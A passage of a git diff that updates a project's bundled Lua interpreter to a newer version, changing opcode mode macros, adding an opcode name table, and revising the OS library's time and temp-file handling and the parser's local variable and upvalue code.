jump) +** bits 0-2: op mode +** bit 3: instruction set register A +** bit 4: operator is a test (next instruction must be a jump) +** bit 5: instruction uses 'L->top' set by previous instruction (when B == 0) +** bit 6: instruction sets 'L->top' for next instruction (when C == 0) +** bit 7: instruction is an MM instruction (call a metamethod) */ -enum OpArgMask { - OpArgN, /* argument is not used */ - OpArgU, /* argument is used */ - OpArgR, /* argument is a register or a jump offset */ - OpArgK /* argument is a constant or register/constant */ -}; +LUAI_DDEC(const lu_byte luaP_opmodes[NUM_OPCODES];) -LUAI_DDEC const lu_byte luaP_opmodes[NUM_OPCODES]; +#define getOpMode(m) (cast(enum OpMode, luaP_opmodes[m] & 7)) +#define testAMode(m) (luaP_opmodes[m] & (1 << 3)) +#define testTMode(m) (luaP_opmodes[m] & (1 << 4)) +#define testITMode(m) (luaP_opmodes[m] & (1 << 5)) +#define testOTMode(m) (luaP_opmodes[m] & (1 << 6)) +#define testMMMode(m) (luaP_opmodes[m] & (1 << 7)) -#define getOpMode(m) (cast(enum OpMode, luaP_opmodes[m] & 3)) -#define getBMode(m) (cast(enum OpArgMask, (luaP_opmodes[m] >> 4) & 3)) -#define getCMode(m) (cast(enum OpArgMask, (luaP_opmodes[m] >> 2) & 3)) -#define testAMode(m) (luaP_opmodes[m] & (1 << 6)) -#define testTMode(m) (luaP_opmodes[m] & (1 << 7)) +/* "out top" (set top for next instruction) */ +#define isOT(i) \ + ((testOTMode(GET_OPCODE(i)) && GETARG_C(i) == 0) || \ + GET_OPCODE(i) == OP_TAILCALL) +/* "in top" (uses top from previous instruction) */ +#define isIT(i) (testITMode(GET_OPCODE(i)) && GETARG_B(i) == 0) -LUAI_DDEC const char *const luaP_opnames[NUM_OPCODES + 1]; /* opcode names */ +#define opmode(mm,ot,it,t,a,m) \ + (((mm) << 7) | ((ot) << 6) | ((it) << 5) | ((t) << 4) | ((a) << 3) | (m)) /* number of list items to accumulate before a SETLIST instruction */ -#define LFIELDS_PER_FLUSH 50 - +#define LFIELDS_PER_FLUSH 50 #endif diff --git a/client/deps/liblua/lopnames.h b/client/deps/liblua/lopnames.h new file mode 100644 index 000000000..443a71c1a --- /dev/null +++ b/client/deps/liblua/lopnames.h @@ -0,0 +1,103 @@ +/* +** $Id: lopnames.h $ +** Opcode names +** See Copyright Notice in lua.h +*/ + +#if !defined(lopnames_h) +#define lopnames_h + +#include + + +/* ORDER OP */ + +static const char *const opnames[] = { + "MOVE", + "LOADI", + "LOADF", + "LOADK", + "LOADKX", + "LOADFALSE", + "LFALSESKIP", + "LOADTRUE", + "LOADNIL", + "GETUPVAL", + "SETUPVAL", + "GETTABUP", + "GETTABLE", + "GETI", + "GETFIELD", + "SETTABUP", + "SETTABLE", + "SETI", + "SETFIELD", + "NEWTABLE", + "SELF", + "ADDI", + "ADDK", + "SUBK", + "MULK", + "MODK", + "POWK", + "DIVK", + "IDIVK", + "BANDK", + "BORK", + "BXORK", + "SHRI", + "SHLI", + "ADD", + "SUB", + "MUL", + "MOD", + "POW", + "DIV", + "IDIV", + "BAND", + "BOR", + "BXOR", + "SHL", + "SHR", + "MMBIN", + "MMBINI", + "MMBINK", + "UNM", + "BNOT", + "NOT", + "LEN", + "CONCAT", + "CLOSE", + "TBC", + "JMP", + "EQ", + "LT", + "LE", + "EQK", + "EQI", + "LTI", + "LEI", + "GTI", + "GEI", + "TEST", + "TESTSET", + "CALL", + "TAILCALL", + "RETURN", + "RETURN0", + "RETURN1", + "FORLOOP", + "FORPREP", + "TFORPREP", + "TFORCALL", + "TFORLOOP", + "SETLIST", + "CLOSURE", + "VARARG", + "VARARGPREP", + "EXTRAARG", + NULL +}; + +#endif + diff --git a/client/deps/liblua/loslib.c b/client/deps/liblua/loslib.c index ecd2ba657..3c233dbaf 100644 --- a/client/deps/liblua/loslib.c +++ b/client/deps/liblua/loslib.c @@ -1,9 +1,14 @@ /* -** $Id: loslib.c,v 1.40 2012/10/19 15:54:02 roberto Exp $ +** $Id: loslib.c $ ** Standard Operating System library ** See Copyright Notice in lua.h */ +#define loslib_c +#define LUA_LIB + +#include "lprefix.h" + #include #include @@ -11,9 +16,6 @@ #include #include -#define loslib_c -#define LUA_LIB - #include "lua.h" #include "lauxlib.h" @@ -21,65 +23,127 @@ /* -** list of valid conversion specifiers for the 'strftime' function +** {================================================================== +** List of valid conversion specifiers for the 'strftime' function; +** options are grouped by length; group of length 2 start with '||'. +** =================================================================== */ -#if !defined(LUA_STRFTIMEOPTIONS) - -#if !defined(LUA_USE_POSIX) -#define LUA_STRFTIMEOPTIONS { "aAbBcdHIjmMpSUwWxXyYz%", "" } -#else -#define LUA_STRFTIMEOPTIONS \ - { "aAbBcCdDeFgGhHIjmMnprRStTuUVwWxXyYzZ%", "" \ - "", "E", "cCxXyY", \ - "O", "deHImMSuUVwWy" } -#endif +#if !defined(LUA_STRFTIMEOPTIONS) /* { */ +#if defined(LUA_USE_WINDOWS) +#define LUA_STRFTIMEOPTIONS "aAbBcdHIjmMpSUwWxXyYzZ%" \ + "||" "#c#x#d#H#I#j#m#M#S#U#w#W#y#Y" /* two-char options */ +#elif defined(LUA_USE_C89) /* ANSI C 89 (only 1-char options) */ +#define LUA_STRFTIMEOPTIONS "aAbBcdHIjmMpSUwWxXyYZ%" +#else /* C99 specification */ +#define LUA_STRFTIMEOPTIONS "aAbBcCdDeFgGhHIjmMnprRStTuUVwWxXyYzZ%" \ + "||" "EcECExEXEyEY" "OdOeOHOIOmOMOSOuOUOVOwOWOy" /* two-char options */ #endif +#endif /* } */ +/* }================================================================== */ /* -** By default, Lua uses tmpnam except when POSIX is available, where it -** uses mkstemp. +** {================================================================== +** Configuration for time-related stuff +** =================================================================== */ -#if defined(LUA_USE_MKSTEMP) -#include -#define LUA_TMPNAMBUFSIZE 32 -#define lua_tmpnam(b,e) { \ - strcpy(b, "/tmp/lua_XXXXXX"); \ - e = mkstemp(b); \ - if (e != -1) close(e); \ - e = (e == -1); } -#elif !defined(lua_tmpnam) +/* +** type to represent time_t in Lua +*/ +#if !defined(LUA_NUMTIME) /* { */ -#define LUA_TMPNAMBUFSIZE L_tmpnam -#define lua_tmpnam(b,e) { e = (tmpnam(b) == NULL); } +#define l_timet lua_Integer +#define l_pushtime(L,t) lua_pushinteger(L,(lua_Integer)(t)) +#define l_gettime(L,arg) luaL_checkinteger(L, arg) -#endif +#else /* }{ */ + +#define l_timet lua_Number +#define l_pushtime(L,t) lua_pushnumber(L,(lua_Number)(t)) +#define l_gettime(L,arg) luaL_checknumber(L, arg) + +#endif /* } */ +#if !defined(l_gmtime) /* { */ /* ** By default, Lua uses gmtime/localtime, except when POSIX is available, ** where it uses gmtime_r/localtime_r */ -#if defined(LUA_USE_GMTIME_R) -#define l_gmtime(t,r) gmtime_r(t,r) -#define l_localtime(t,r) localtime_r(t,r) +#if defined(LUA_USE_POSIX) /* { */ -#elif !defined(l_gmtime) +#define l_gmtime(t,r) gmtime_r(t,r) +#define l_localtime(t,r) localtime_r(t,r) -#define l_gmtime(t,r) ((void)r, gmtime(t)) -#define l_localtime(t,r) ((void)r, localtime(t)) +#else /* }{ */ +/* ISO C definitions */ +#define l_gmtime(t,r) ((void)(r)->tm_sec, gmtime(t)) +#define l_localtime(t,r) ((void)(r)->tm_sec, localtime(t)) + +#endif /* } */ + +#endif /* } */ + +/* }================================================================== */ + + +/* +** {================================================================== +** Configuration for 'tmpnam': +** By default, Lua uses tmpnam except when POSIX is available, where +** it uses mkstemp. +** =================================================================== +*/ +#if !defined(lua_tmpnam) /* { */ + +#if defined(LUA_USE_POSIX) /* { */ + +#include + +#define LUA_TMPNAMBUFSIZE 32 + +#if !defined(LUA_TMPNAMTEMPLATE) +#define LUA_TMPNAMTEMPLATE "/tmp/lua_XXXXXX" #endif +#define lua_tmpnam(b,e) { \ + strcpy(b, LUA_TMPNAMTEMPLATE); \ + e = mkstemp(b); \ + if (e != -1) close(e); \ + e = (e == -1); } + +#else /* }{ */ + +/* ISO C definitions */ +#define LUA_TMPNAMBUFSIZE L_tmpnam +#define lua_tmpnam(b,e) { e = (tmpnam(b) == NULL); } + +#endif /* } */ + +#endif /* } */ +/* }================================================================== */ + + +#if !defined(l_system) +#if defined(LUA_USE_IOS) +/* Despite claiming to be ISO C, iOS does not implement 'system'. */ +#define l_system(cmd) ((cmd) == NULL ? 0 : -1) +#else +#define l_system(cmd) system(cmd) /* default definition */ +#endif +#endif static int os_execute(lua_State *L) { const char *cmd = luaL_optstring(L, 1, NULL); - int stat = system(cmd); + int stat; + errno = 0; + stat = l_system(cmd); if (cmd != NULL) return luaL_execresult(L, stat); else { @@ -91,6 +155,7 @@ static int os_execute(lua_State *L) { static int os_remove(lua_State *L) { const char *filename = luaL_checkstring(L, 1); + errno = 0; return luaL_fileresult(L, remove(filename) == 0, filename); } @@ -98,6 +163,7 @@ static int os_remove(lua_State *L) { static int os_rename(lua_State *L) { const char *fromname = luaL_checkstring(L, 1); const char *toname = luaL_checkstring(L, 2); + errno = 0; return luaL_fileresult(L, rename(fromname, toname) == 0, NULL); } @@ -106,7 +172,7 @@ static int os_tmpname(lua_State *L) { char buff[LUA_TMPNAMBUFSIZE]; int err; lua_tmpnam(buff, err); - if (err) + if (l_unlikely(err)) return luaL_error(L, "unable to generate a unique filename"); lua_pushstring(L, buff); return 1; @@ -133,11 +199,25 @@ static int os_clock(lua_State *L) { ** ======================================================= */ -static void setfield(lua_State *L, const char *key, int value) { - lua_pushinteger(L, value); +/* +** About the overflow check: an overflow cannot occur when time +** is represented by a lua_Integer, because either lua_Integer is +** large enough to represent all int fields or it is not large enough +** to represent a time that cause a field to overflow. However, if +** times are represented as doubles and lua_Integer is int, then the +** time 0x1.e1853b0d184f6p+55 would cause an overflow when adding 1900 +** to compute the year. +*/ +static void setfield(lua_State *L, const char *key, int value, int delta) { +#if (defined(LUA_NUMTIME) && LUA_MAXINTEGER <= INT_MAX) + if (l_unlikely(value > LUA_MAXINTEGER - delta)) + luaL_error(L, "field '%s' is out-of-bound", key); +#endif + lua_pushinteger(L, (lua_Integer)value + delta); lua_setfield(L, -2, key); } + static void setboolfield(lua_State *L, const char *key, int value) { if (value < 0) /* undefined? */ return; /* does not set field */ @@ -145,44 +225,62 @@ static void setboolfield(lua_State *L, const char *key, int value) { lua_setfield(L, -2, key); } + +/* +** Set all fields from structure 'tm' in the table on top of the stack +*/ +static void setallfields(lua_State *L, struct tm *stm) { + setfield(L, "year", stm->tm_year, 1900); + setfield(L, "month", stm->tm_mon, 1); + setfield(L, "day", stm->tm_mday, 0); + setfield(L, "hour", stm->tm_hour, 0); + setfield(L, "min", stm->tm_min, 0); + setfield(L, "sec", stm->tm_sec, 0); + setfield(L, "yday", stm->tm_yday, 1); + setfield(L, "wday", stm->tm_wday, 1); + setboolfield(L, "isdst", stm->tm_isdst); +} + + static int getboolfield(lua_State *L, const char *key) { int res; - lua_getfield(L, -1, key); - res = lua_isnil(L, -1) ? -1 : lua_toboolean(L, -1); + res = (lua_getfield(L, -1, key) == LUA_TNIL) ? -1 : lua_toboolean(L, -1); lua_pop(L, 1); return res; } -static int getfield(lua_State *L, const char *key, int d) { - int res, isnum; - lua_getfield(L, -1, key); - res = (int)lua_tointegerx(L, -1, &isnum); - if (!isnum) { - if (d < 0) - return luaL_error(L, "field " LUA_QS " missing in date table", key); +static int getfield(lua_State *L, const char *key, int d, int delta) { + int isnum; + int t = lua_getfield(L, -1, key); /* get field and its type */ + lua_Integer res = lua_tointegerx(L, -1, &isnum); + if (!isnum) { /* field is not an integer? */ + if (l_unlikely(t != LUA_TNIL)) /* some other value? */ + return luaL_error(L, "field '%s' is not an integer", key); + else if (l_unlikely(d < 0)) /* absent field; no default? */ + return luaL_error(L, "field '%s' missing in date table", key); res = d; + } else { + if (!(res >= 0 ? res - delta <= INT_MAX : INT_MIN + delta <= res)) + return luaL_error(L, "field '%s' is out-of-bound", key); + res -= delta; } lua_pop(L, 1); - return res; + return (int)res; } -static const char *checkoption(lua_State *L, const char *conv, char *buff) { - static const char *const options[] = LUA_STRFTIMEOPTIONS; - unsigned int i; - for (i = 0; i < sizeof(options) / sizeof(options[0]); i += 2) { - if (*conv != '\0' && strchr(options[i], *conv) != NULL) { - buff[1] = *conv; - if (*options[i + 1] == '\0') { /* one-char conversion specifier? */ - buff[2] = '\0'; /* end buffer */ - return conv + 1; - } else if (*(conv + 1) != '\0' && - strchr(options[i + 1], *(conv + 1)) != NULL) { - buff[2] = *(conv + 1); /* valid two-char conversion specifier */ - buff[3] = '\0'; /* end buffer */ - return conv + 2; - } +static const char *checkoption(lua_State *L, const char *conv, + ptrdiff_t convlen, char *buff) { + const char *option = LUA_STRFTIMEOPTIONS; + int oplen = 1; /* length of options being checked */ + for (; *option != '\0' && oplen <= convlen; option += oplen) { + if (*option == '|') /* next block? */ + oplen++; /* will check options with next length (+1) */ + else if (memcmp(conv, option, oplen) == 0) { /* match? */ + memcpy(buff, conv, oplen); /* copy valid option to buffer */ + buff[oplen] = '\0'; + return conv + oplen; /* return next item */ } } luaL_argerror(L, 1, @@ -191,42 +289,49 @@ static const char *checkoption(lua_State *L, const char *conv, char *buff) { } +static time_t l_checktime(lua_State *L, int arg) { + l_timet t = l_gettime(L, arg); + luaL_argcheck(L, (time_t)t == t, arg, "time out-of-bounds"); + return (time_t)t; +} + + +/* maximum size for an individual 'strftime' item */ +#define SIZETIMEFMT 250 + + static int os_date(lua_State *L) { - const char *s = luaL_optstring(L, 1, "%c"); - time_t t = luaL_opt(L, (time_t)luaL_checknumber, 2, time(NULL)); + size_t slen; + const char *s = luaL_optlstring(L, 1, "%c", &slen); + time_t t = luaL_opt(L, l_checktime, 2, time(NULL)); + const char *se = s + slen; /* 's' end */ struct tm tmr, *stm; if (*s == '!') { /* UTC? */ stm = l_gmtime(&t, &tmr); - s++; /* skip `!' */ + s++; /* skip '!' */ } else stm = l_localtime(&t, &tmr); if (stm == NULL) /* invalid date? */ - lua_pushnil(L); - else if (strcmp(s, "*t") == 0) { + return luaL_error(L, + "date result cannot be represented in this installation"); + if (strcmp(s, "*t") == 0) { lua_createtable(L, 0, 9); /* 9 = number of fields */ - setfield(L, "sec", stm->tm_sec); - setfield(L, "min", stm->tm_min); - setfield(L, "hour", stm->tm_hour); - setfield(L, "day", stm->tm_mday); - setfield(L, "month", stm->tm_mon + 1); - setfield(L, "year", stm->tm_year + 1900); - setfield(L, "wday", stm->tm_wday + 1); - setfield(L, "yday", stm->tm_yday + 1); - setboolfield(L, "isdst", stm->tm_isdst); + setallfields(L, stm); } else { - char cc[4]; + char cc[4]; /* buffer for individual conversion specifiers */ luaL_Buffer b; cc[0] = '%'; luaL_buffinit(L, &b); - while (*s) { - if (*s != '%') /* no conversion specifier? */ + while (s < se) { + if (*s != '%') /* not a conversion specifier? */ luaL_addchar(&b, *s++); else { size_t reslen; - char buff[200]; /* should be big enough for any conversion result */ - s = checkoption(L, s + 1, cc); - reslen = strftime(buff, sizeof(buff), cc, stm); - luaL_addlstring(&b, buff, reslen); + char *buff = luaL_prepbuffsize(&b, SIZETIMEFMT); + s++; /* skip '%' */ + s = checkoption(L, s, se - s, cc + 1); /* copy specifier to 'cc' */ + reslen = strftime(buff, SIZETIMEFMT, cc, stm); + luaL_addsize(&b, reslen); } } luaL_pushresult(&b); @@ -243,26 +348,28 @@ static int os_time(lua_State *L) { struct tm ts; luaL_checktype(L, 1, LUA_TTABLE); lua_settop(L, 1); /* make sure table is at the top */ - ts.tm_sec = getfield(L, "sec", 0); - ts.tm_min = getfield(L, "min", 0); - ts.tm_hour = getfield(L, "hour", 12); - ts.tm_mday = getfield(L, "day", -1); - ts.tm_mon = getfield(L, "month", -1) - 1; - ts.tm_year = getfield(L, "year", -1) - 1900; + ts.tm_year = getfield(L, "year", -1, 1900); + ts.tm_mon = getfield(L, "month", -1, 1); + ts.tm_mday = getfield(L, "day", -1, 0); + ts.tm_hour = getfield(L, "hour", 12, 0); + ts.tm_min = getfield(L, "min", 0, 0); + ts.tm_sec = getfield(L, "sec", 0, 0); ts.tm_isdst = getboolfield(L, "isdst"); t = mktime(&ts); + setallfields(L, &ts); /* update fields with normalized values */ } - if (t == (time_t)(-1)) - lua_pushnil(L); - else - lua_pushnumber(L, (lua_Number)t); + if (t != (time_t)(l_timet)t || t == (time_t)(-1)) + return luaL_error(L, + "time result cannot be represented in this installation"); + l_pushtime(L, t); return 1; } static int os_difftime(lua_State *L) { - lua_pushnumber(L, difftime((time_t)(luaL_checknumber(L, 1)), - (time_t)(luaL_optnumber(L, 2, 0)))); + time_t t1 = l_checktime(L, 1); + time_t t2 = l_checktime(L, 2); + lua_pushnumber(L, (lua_Number)difftime(t1, t2)); return 1; } @@ -288,7 +395,7 @@ static int os_exit(lua_State *L) { if (lua_isboolean(L, 1)) status = (lua_toboolean(L, 1) ? EXIT_SUCCESS : EXIT_FAILURE); else - status = luaL_optint(L, 1, EXIT_SUCCESS); + status = (int)luaL_optinteger(L, 1, EXIT_SUCCESS); if (lua_toboolean(L, 2)) lua_close(L); if (L) exit(status); /* 'if' to avoid warnings for unreachable 'return' */ diff --git a/client/deps/liblua/lparser.c b/client/deps/liblua/lparser.c index 07852bfed..f2a71215a 100644 --- a/client/deps/liblua/lparser.c +++ b/client/deps/liblua/lparser.c @@ -1,15 +1,18 @@ /* -** $Id: lparser.c,v 2.130 2013/02/06 13:37:39 roberto Exp $ +** $Id: lparser.c $ ** Lua Parser ** See Copyright Notice in lua.h */ - -#include - #define lparser_c #define LUA_CORE +#include "lprefix.h" + + +#include +#include + #include "lua.h" #include "lcode.h" @@ -29,23 +32,28 @@ /* maximum number of local variables per function (must be smaller than 250, due to the bytecode format) */ -#define MAXVARS 200 +#define MAXVARS 200 -#define hasmultret(k) ((k) == VCALL || (k) == VVARARG) +#define hasmultret(k) ((k) == VCALL || (k) == VVARARG) +/* because all strings are unified by the scanner, the parser + can use pointer equality for string equality */ +#define eqstr(a,b) ((a) == (b)) + /* ** nodes for block list (list of active blocks) */ typedef struct BlockCnt { struct BlockCnt *previous; /* chain */ - short firstlabel; /* index of first label in this block */ - short firstgoto; /* index of first pending goto in this block */ + int firstlabel; /* index of first label in this block */ + int firstgoto; /* index of first pending goto in this block */ lu_byte nactvar; /* # active locals outside the block */ lu_byte upval; /* true if some variable in the block is an upvalue */ - lu_byte isloop; /* true if `block' is a loop */ + lu_byte isloop; /* true if 'block' is a loop */ + lu_byte insidetbc; /* true if inside the scope of a to-be-closed var. */ } BlockCnt; @@ -57,23 +65,6 @@ static void statement(LexState *ls); static void expr(LexState *ls, expdesc *v); -static void anchor_token(LexState *ls) { - /* last token from outer function must be EOS */ - lua_assert(ls->fs != NULL || ls->t.token == TK_EOS); - if (ls->t.token == TK_NAME || ls->t.token == TK_STRING) { - TString *ts = ls->t.seminfo.ts; - luaX_newstring(ls, getstr(ts), ts->tsv.len); - } -} - - -/* semantic error */ -static l_noret semerror(LexState *ls, const char *msg) { - ls->t.token = 0; /* remove 'near to' from final message */ - luaX_syntaxerror(ls, msg); -} - - static l_noret error_expected(LexState *ls, int token) { luaX_syntaxerror(ls, luaO_pushfstring(ls->L, "%s expected", luaX_token2str(ls, token))); @@ -98,6 +89,9 @@ static void checklimit(FuncState *fs, int v, int l, const char *what) { } +/* +** Test whether next token is 'c'; if so, skip it. +*/ static int testnext(LexState *ls, int c) { if (ls->t.token == c) { luaX_next(ls); @@ -106,26 +100,36 @@ static int testnext(LexState *ls, int c) { } +/* +** Check that next token is 'c'. +*/ static void check(LexState *ls, int c) { if (ls->t.token != c) error_expected(ls, c); } +/* +** Check that next token is 'c' and skip it. +*/ static void checknext(LexState *ls, int c) { check(ls, c); luaX_next(ls); } -#define check_condition(ls,c,msg) { if (!(c)) luaX_syntaxerror(ls, msg); } - +#define check_condition(ls,c,msg) { if (!(c)) luaX_syntaxerror(ls, msg); } +/* +** Check that next token is 'what' and skip it. In case of error, +** raise an error that the expected 'what' should match a 'who' +** in line 'where' (if that is not the current line). +*/ static void check_match(LexState *ls, int what, int who, int where) { - if (!testnext(ls, what)) { - if (where == ls->linenumber) - error_expected(ls, what); + if (l_unlikely(!testnext(ls, what))) { + if (where == ls->linenumber) /* all in the same line? */ + error_expected(ls, what); /* do not need a complex message */ else { luaX_syntaxerror(ls, luaO_pushfstring(ls->L, "%s expected (to close %s at line %d)", @@ -151,233 +155,404 @@ static void init_exp(expdesc *e, expkind k, int i) { } -static void codestring(LexState *ls, expdesc *e, TString *s) { - init_exp(e, VK, luaK_stringK(ls->fs, s)); +static void codestring(expdesc *e, TString *s) { + e->f = e->t = NO_JUMP; + e->k = VKSTR; + e->u.strval = s; } -static void checkname(LexState *ls, expdesc *e) { - codestring(ls, e, str_checkname(ls)); +static void codename(LexState *ls, expdesc *e) { + codestring(e, str_checkname(ls)); } -static int registerlocalvar(LexState *ls, TString *varname) { - FuncState *fs = ls->fs; +/* +** Register a new local variable in the active 'Proto' (for debug +** information). +*/ +static int registerlocalvar(LexState *ls, FuncState *fs, TString *varname) { Proto *f = fs->f; int oldsize = f->sizelocvars; - luaM_growvector(ls->L, f->locvars, fs->nlocvars, f->sizelocvars, + luaM_growvector(ls->L, f->locvars, fs->ndebugvars, f->sizelocvars, LocVar, SHRT_MAX, "local variables"); - while (oldsize < f->sizelocvars) f->locvars[oldsize++].varname = NULL; - f->locvars[fs->nlocvars].varname = varname; + while (oldsize < f->sizelocvars) + f->locvars[oldsize++].varname = NULL; + f->locvars[fs->ndebugvars].varname = varname; + f->locvars[fs->ndebugvars].startpc = fs->pc; luaC_objbarrier(ls->L, f, varname); - return fs->nlocvars++; + return fs->ndebugvars++; } -static void new_localvar(LexState *ls, TString *name) { +/* +** Create a new local variable with the given 'name'. Return its index +** in the function. +*/ +static int new_localvar(LexState *ls, TString *name) { + lua_State *L = ls->L; FuncState *fs = ls->fs; Dyndata *dyd = ls->dyd; - int reg = registerlocalvar(ls, name); + Vardesc *var; checklimit(fs, dyd->actvar.n + 1 - fs->firstlocal, MAXVARS, "local variables"); - luaM_growvector(ls->L, dyd->actvar.arr, dyd->actvar.n + 1, - dyd->actvar.size, Vardesc, MAX_INT, "local variables"); - dyd->actvar.arr[dyd->actvar.n++].idx = cast(short, reg); -} - - -static void new_localvarliteral_(LexState *ls, const char *name, size_t sz) { - new_localvar(ls, luaX_newstring(ls, name, sz)); + luaM_growvector(L, dyd->actvar.arr, dyd->actvar.n + 1, + dyd->actvar.size, Vardesc, USHRT_MAX, "local variables"); + var = &dyd->actvar.arr[dyd->actvar.n++]; + var->vd.kind = VDKREG; /* default */ + var->vd.name = name; + return dyd->actvar.n - 1 - fs->firstlocal; } #define new_localvarliteral(ls,v) \ - new_localvarliteral_(ls, "" v, (sizeof(v)/sizeof(char))-1) + new_localvar(ls, \ + luaX_newstring(ls, "" v, (sizeof(v)/sizeof(char)) - 1)); -static LocVar *getlocvar(FuncState *fs, int i) { - int idx = fs->ls->dyd->actvar.arr[fs->firstlocal + i].idx; - lua_assert(idx < fs->nlocvars); - return &fs->f->locvars[idx]; + +/* +** Return the "variable description" (Vardesc) of a given variable. +** (Unless noted otherwise, all variables are referred to by their +** compiler indices.) +*/ +static Vardesc *getlocalvardesc(FuncState *fs, int vidx) { + return &fs->ls->dyd->actvar.arr[fs->firstlocal + vidx]; } -static void adjustlocalvars(LexState *ls, int nvars) { - FuncState *fs = ls->fs; - fs->nactvar = cast_byte(fs->nactvar + nvars); - for (; nvars; nvars--) { - getlocvar(fs, fs->nactvar - nvars)->startpc = fs->pc; +/* +** Convert 'nvar', a compiler index level, to its corresponding +** register. For that, search for the highest variable below that level +** that is in a register and uses its register index ('ridx') plus one. +*/ +static int reglevel(FuncState *fs, int nvar) { + while (nvar-- > 0) { + Vardesc *vd = getlocalvardesc(fs, nvar); /* get previous variable */ + if (vd->vd.kind != RDKCTC) /* is in a register? */ + return vd->vd.ridx + 1; + } + return 0; /* no variables in registers */ +} + + +/* +** Return the number of variables in the register stack for the given +** function. +*/ +int luaY_nvarstack(FuncState *fs) { + return reglevel(fs, fs->nactvar); +} + + +/* +** Get the debug-information entry for current variable 'vidx'. +*/ +static LocVar *localdebuginfo(FuncState *fs, int vidx) { + Vardesc *vd = getlocalvardesc(fs, vidx); + if (vd->vd.kind == RDKCTC) + return NULL; /* no debug info. for constants */ + else { + int idx = vd->vd.pidx; + lua_assert(idx < fs->ndebugvars); + return &fs->f->locvars[idx]; } } -static void removevars(FuncState *fs, int tolevel) { - fs->ls->dyd->actvar.n -= (fs->nactvar - tolevel); - while (fs->nactvar > tolevel) - getlocvar(fs, --fs->nactvar)->endpc = fs->pc; +/* +** Create an expression representing variable 'vidx' +*/ +static void init_var(FuncState *fs, expdesc *e, int vidx) { + e->f = e->t = NO_JUMP; + e->k = VLOCAL; + e->u.var.vidx = vidx; + e->u.var.ridx = getlocalvardesc(fs, vidx)->vd.ridx; } +/* +** Raises an error if variable described by 'e' is read only +*/ +static void check_readonly(LexState *ls, expdesc *e) { + FuncState *fs = ls->fs; + TString *varname = NULL; /* to be set if variable is const */ + switch (e->k) { + case VCONST: { + varname = ls->dyd->actvar.arr[e->u.info].vd.name; + break; + } + case VLOCAL: { + Vardesc *vardesc = getlocalvardesc(fs, e->u.var.vidx); + if (vardesc->vd.kind != VDKREG) /* not a regular variable? */ + varname = vardesc->vd.name; + break; + } + case VUPVAL: { + Upvaldesc *up = &fs->f->upvalues[e->u.info]; + if (up->kind != VDKREG) + varname = up->name; + break; + } + default: + return; /* other cases cannot be read-only */ + } + if (varname) { + const char *msg = luaO_pushfstring(ls->L, + "attempt to assign to const variable '%s'", getstr(varname)); + luaK_semerror(ls, msg); /* error */ + } +} + + +/* +** Start the scope for the last 'nvars' created variables. +*/ +static void adjustlocalvars(LexState *ls, int nvars) { + FuncState *fs = ls->fs; + int reglevel = luaY_nvarstack(fs); + int i; + for (i = 0; i < nvars; i++) { + int vidx = fs->nactvar++; + Vardesc *var = getlocalvardesc(fs, vidx); + var->vd.ridx = reglevel++; + var->vd.pidx = registerlocalvar(ls, fs, var->vd.name); + } +} + + +/* +** Close the scope for all variables up to level 'tolevel'. +** (debug info.) +*/ +static void removevars(FuncState *fs, int tolevel) { + fs->ls->dyd->actvar.n -= (fs->nactvar - tolevel); + while (fs->nactvar > tolevel) { + LocVar *var = localdebuginfo(fs, --fs->nactvar); + if (var) /* does it have debug information? */ + var->endpc = fs->pc; + } +} + + +/* +** Search the upvalues of the function 'fs' for one +** with the given 'name'. +*/ static int searchupvalue(FuncState *fs, TString *name) { int i; Upvaldesc *up = fs->f->upvalues; for (i = 0; i < fs->nups; i++) { - if (luaS_eqstr(up[i].name, name)) return i; + if (eqstr(up[i].name, name)) return i; } return -1; /* not found */ } -static int newupvalue(FuncState *fs, TString *name, expdesc *v) { +static Upvaldesc *allocupvalue(FuncState *fs) { Proto *f = fs->f; int oldsize = f->sizeupvalues; checklimit(fs, fs->nups + 1, MAXUPVAL, "upvalues"); luaM_growvector(fs->ls->L, f->upvalues, fs->nups, f->sizeupvalues, Upvaldesc, MAXUPVAL, "upvalues"); - while (oldsize < f->sizeupvalues) f->upvalues[oldsize++].name = NULL; - f->upvalues[fs->nups].instack = (v->k == VLOCAL); - f->upvalues[fs->nups].idx = cast_byte(v->u.info); - f->upvalues[fs->nups].name = name; - luaC_objbarrier(fs->ls->L, f, name); - return fs->nups++; + while (oldsize < f->sizeupvalues) + f->upvalues[oldsize++].name = NULL; + return &f->upvalues[fs->nups++]; } -static int searchvar(FuncState *fs, TString *n) { +static int newupvalue(FuncState *fs, TString *name, expdesc *v) { + Upvaldesc *up = allocupvalue(fs); + FuncState *prev = fs->prev; + if (v->k == VLOCAL) { + up->instack = 1; + up->idx = v->u.var.ridx; + up->kind = getlocalvardesc(prev, v->u.var.vidx)->vd.kind; + lua_assert(eqstr(name, getlocalvardesc(prev, v->u.var.vidx)->vd.name)); + } else { + up->instack = 0; + up->idx = cast_byte(v->u.info); + up->kind = prev->f->upvalues[v->u.info].kind; + lua_assert(eqstr(name, prev->f->upvalues[v->u.info].name)); + } + up->name = name; + luaC_objbarrier(fs->ls->L, fs->f, name); + return fs->nups - 1; +} + + +/* +** Look for an active local variable with the name 'n' in the +** function 'fs'. If found, initialize 'var' with it and return +** its expression kind; otherwise return -1. +*/ +static int searchvar(FuncState *fs, TString *n, expdesc *var) { int i; for (i = cast_int(fs->nactvar) - 1; i >= 0; i--) { - if (luaS_eqstr(n, getlocvar(fs, i)->varname)) - return i; + Vardesc *vd = getlocalvardesc(fs, i); + if (eqstr(n, vd->vd.name)) { /* found? */ + if (vd->vd.kind == RDKCTC) /* compile-time constant? */ + init_exp(var, VCONST, fs->firstlocal + i); + else /* real variable */ + init_var(fs, var, i); + return var->k; + } } return -1; /* not found */ } /* - Mark block where variable at given level was defined - (to emit close instructions later). +** Mark block where variable at given level was defined +** (to emit close instructions later). */ static void markupval(FuncState *fs, int level) { BlockCnt *bl = fs->bl; - while (bl->nactvar > level) bl = bl->previous; + while (bl->nactvar > level) + bl = bl->previous; bl->upval = 1; + fs->needclose = 1; } /* - Find variable with given name 'n'. If it is an upvalue, add this - upvalue into all intermediate functions. +** Mark that current block has a to-be-closed variable. */ -static int singlevaraux(FuncState *fs, TString *n, expdesc *var, int base) { +static void marktobeclosed(FuncState *fs) { + BlockCnt *bl = fs->bl; + bl->upval = 1; + bl->insidetbc = 1; + fs->needclose = 1; +} + + +/* +** Find a variable with the given name 'n'. If it is an upvalue, add +** this upvalue into all intermediate functions. If it is a global, set +** 'var' as 'void' as a flag. +*/ +static void singlevaraux(FuncState *fs, TString *n, expdesc *var, int base) { if (fs == NULL) /* no more levels? */ - return VVOID; /* default is global */ + init_exp(var, VVOID, 0); 